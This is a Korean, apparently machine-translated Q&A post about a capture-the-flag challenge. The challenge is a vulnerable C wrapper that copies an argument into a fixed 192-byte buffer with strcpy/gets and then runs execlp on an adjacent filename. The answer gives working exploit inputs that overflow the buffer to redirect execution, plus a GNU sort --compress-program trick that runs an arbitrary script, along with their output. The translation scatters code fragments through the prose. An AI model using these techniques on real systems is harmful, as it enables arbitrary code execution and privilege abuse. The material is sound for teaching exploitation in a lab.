프로그램의 취약점을 악용해야 하는 챌린지를 하고 있습니다. 특히 프로그램을 시작하려면 sort 및/또는 uniq를 사용해야 하는 것 같습니다. 그러나 나는 이러한 기능에 대한 다양한 문서를 약 몇 시간 동안 검색해 보았는데 이것이 어떻게 가능한지 이해가 되지 않습니다. 이 폴더에서 사용할 수 있는 파일은 Linux의 sort 및 uniq 함수입니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libgen.h>
char buffer[192] = "";
char filename[192] = "";
int main(int argc, char *argv[])
{
if (argv[1]) {
snprintf(filename, 255, "/home/challenge/%s", basename(argv[1]));
printf("Checking filename %s\n", filename);
if (access(filename, X_OK)) {
fprintf(stderr, "You do not have the permission to execute this file\n");
return 1;
}
}
else {
fprintf(stderr, "Please provide the program name\n");
return 2;
}
if (argv[2]) {
strcpy(buffer, argv[2]);
}
else {
gets(buffer);
}
printf("Executing filename %s\n", filename);
execlp(filename, filename, buffer, (char *)0);
return 0;
}
목표는/동시에 uniq/sort 대신에 uniq/sort를 수행하는 프로그램을 시작하는 것입니다. 어떤 아이디어가 있나요?
답변1
편집하다
@icarus가 댓글에서 언급했듯이 챌린지의 요점을 놓치고 있습니다. 목표는 sort
또는 을 악용하는 것이 uniq
아니라 프로그램을 악용하는 것입니다. 이는 다음 명령을 사용하여 쉽게 수행됩니다.버퍼 오버플로 공격. 귀하의 질문이 더 적합합니다stackoverflow.com이 사이트는 아니지만 어쨌든 답변해 드리겠습니다.
크기는 buffer
192바이트입니다. 그러나 buffer
( ) 인수에서 복사할 때에는 strcpy(buffer, argv[2]);
크기가 실제로 192바이트인지 확인하지 않고 크기에 관계없이 두 번째 인수 전체를 복사합니다. filename
뒤에 있으므로 두 번째 매개변수의 처음 192바이트 이후의 모든 내용은 "오버플로"되어 buffer
메모리의 변수 주소를 덮어씁니다.filename
strcpy
check filename
에 있는 경우에만 실행 되므로 /home/challenge/
검사는 성공적으로 통과하지만 두 번째 인수의 처음 192바이트 이후에는 모든 항목이 실행됩니다.
./challenge sort "`printf '%192s./program.sh'`"
Checking filename /home/challenge/sort
Executing filename ./program.sh
Yes, ./program.sh was indeed executed by sort!
또 다른 흥미로운 예는 다음과 같습니다.
$ printf -v ARG "%-191s\n/bin/echo" 'hello world'
$ ./challenge uniq ""$ARG""
Checking filename /home/challenge/uniq
Executing filename /bin/echo
hello world
/bin/echo
bash
's를 사용하여 printf
변수에 $ARG
"hello world"로 시작하는 문자열을 할당하고 191바이트가 되도록 공백으로 채운 다음 개행 문자 \n
, /bin/echo
. /bin/echo
전체를 인수로 사용하여 실행 되며 $ARG
결과는 /bin/echo
공백, 새 줄 및 로 채워진 "hello world"가 됩니다.
원래 답변
이것이 정확히 당신이 찾고 있는 것인지는 모르겠지만, 제 생각에는 그 방법을 찾은 것 같습니다 sort
. 입력이 sort
너무 높으면 sort
RAM을 절약하기 위해 데이터가 임시 파일에 기록되고 결국 병합됩니다.
GNU에는 디스크 공간을 절약하기 위해 임시 파일을 압축하도록 지시하는 sort
옵션도 있습니다 . 아이디어는 임시 파일에 쓰고 제공된 프로그램을 사용하여 압축하기로 결정할 때까지 stdin으로 데이터를 계속 전송하는 것입니다(이번에는 stdin , 그 이후에는 ) .--compress-program=PROG
PROG
sort
--compress-program=PROG
sort
execlp
sort
먼저, 우리가 실행하려고 하는 프로그램은 다음과 같습니다. 실제로 실행되었는지 확인할 수 있도록 일부 메시지를 표준 오류에 기록합니다.
$ cat program.sh
#!/bin/bash
echo "Yes, $0 was indeed executed by sort!" >&2
exit 1
그런 다음 다음 명령을 실행합니다.
while true; do echo; done | ./challenge sort --compress-program=./program.sh
Checking filename /home/challenge/sort
Executing filename /home/challenge/sort
Yes, ./program.sh was indeed executed by sort!
그러면 코드가 sort
다음과 같이 실행됩니다.
execlp("/home/challenge/sort", "/home/challenge/sort", "--compress-program=./program.sh", (char *)0);
이는 /home/challenge/sort --compress-program=./program.sh
쉘에서 실행하는 것과 같습니다. 다음으로 우리는 while
로 향할 무한 루프의 빈 줄을 에코 할 것입니다 sort
. 결국 sort
우리는 임시 파일에 쓰고 ./program.sh
압축하려고 결정합니다. 보시다시피 ./program.sh
이것은 실제로 실행되어 STDERR에 기록됩니다.Yes, ./program.sh was indeed executed by sort!
이것이 내가 생각할 수 있는 유일한 방법이다. 나는 그것을 악용할 방법을 찾을 수 없습니다 uniq
.